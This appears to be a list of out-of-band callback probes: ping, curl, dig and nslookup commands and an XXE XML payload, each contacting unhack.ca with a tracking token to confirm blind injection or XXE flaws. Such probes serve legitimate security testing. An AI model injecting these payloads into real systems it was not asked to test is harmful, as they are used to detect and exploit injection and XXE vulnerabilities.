$ ping -c1 -p 00147e55cfddbad3366505d494c34900 unhack.ca
$ curl http://unhack.ca/p/147e55cfddbad3366505d494c349
$ dig 147e55cfddbad3366505d494c349 @unhack.ca
$ dig 147e55cfddbad3366505d494c349.ns.unhack.ca
C:\> nslookup 147e55cfddbad3366505d494c349 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/147e55cfddbad3366505d494c349">]> <foo>&xxe;</foo>